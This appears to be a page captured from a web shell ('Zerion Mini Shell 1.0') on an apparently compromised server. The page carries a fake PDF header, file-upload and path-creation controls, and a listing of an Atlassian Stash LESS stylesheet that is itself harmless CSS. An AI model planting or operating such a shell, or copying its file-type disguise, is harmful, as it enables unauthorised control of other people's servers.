%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/985914/root/data/old/home/stash/atlassian-stash/static/widget/markup/
Upload File :
Create Path :
Current File : //proc/985914/root/data/old/home/stash/atlassian-stash/static/widget/markup/markup.less

@import "../../global.less";

.markup {
    pre code {
        display: block;
        font-size: @font-size-small;
        line-height: 18px;
        overflow: auto;
        padding: 6px 10px;
    }

    code {
        .border-radius(3px);
        margin: 0 2px;
        padding: 0px 3px 0px 3px;
        border: 1px solid @dividerColor;
        background-color: @feintGreyColor;
        vertical-align: baseline
    }

    h1, h2, h3, h4, h5, h6 {
        display: block; /* Stash default is inline block */
    }

    h3,
    h4,
    h5,
    h6 { font-weight: bold; }

    h1,
    h2 { margin: @baseSpacing 0 @doubleSpacing 0; }
    h3,
    h4,
    h5,
    h6 { margin: @baseSpacing 0; }

    ul,
    ol {
        margin: @baseSpacing @tripleSpacing;
        padding: 0;
    }

    img {
        border: 1px solid @dividerColor;
        margin: @baseSpacing 0;
        max-width: 100%;
        padding: @halfSpacing;
        .box-sizing();
    }

    // cherry-picked from AUI's tables.css;
    // this aims to make <table> tags in markup descriptions look
    // like AUI tables, for consistency with the rest of Stash UI.
    table {
        border-collapse: collapse;
        margin: @doubleSpacing 0;
        width: 0;

        > tbody, > tfoot {
            > tr {
                background: @contentBackgroundColor;
                border-bottom: 1px solid @dividerColor;

                > td {
                    padding: 7px 10px;
                    text-align: left;
                    vertical-align: top;
                }

                &:first-child {
                    border-top: 1px solid @dividerColor;
                }
            }
        }

        > thead {
            > tr {
                border-bottom: 1px solid @dividerColor;

                > td, > th {
                    padding: 7px 10px;
                    text-align: left;
                    vertical-align: top;
                }
            }
        }
    }

    table table {
        margin: 0;
    }

    .csid {
        font-family: monospace;
    }

    .user-mention {
        .border-radius(3px);
        background-color: @feintGreyColor;
        border: 1px solid @lozengeGenericColor;
        color: @bodyTextColor;
        padding: 1px 3px 1px 3px;
        margin: 0 3px 3px;

        &.current-user {
            background-color: @lozengeModifiedColor;
            color: @lozengeTextColor;
            border: 1px solid @lozengeModifiedColor;
        }
    }

    > ul {
        list-style-type: disc;
        > li > ul {
            list-style-type: circle;
            > li > ul {
                list-style-type: square;
            }
        }
    }
}

Zerion Mini Shell 1.0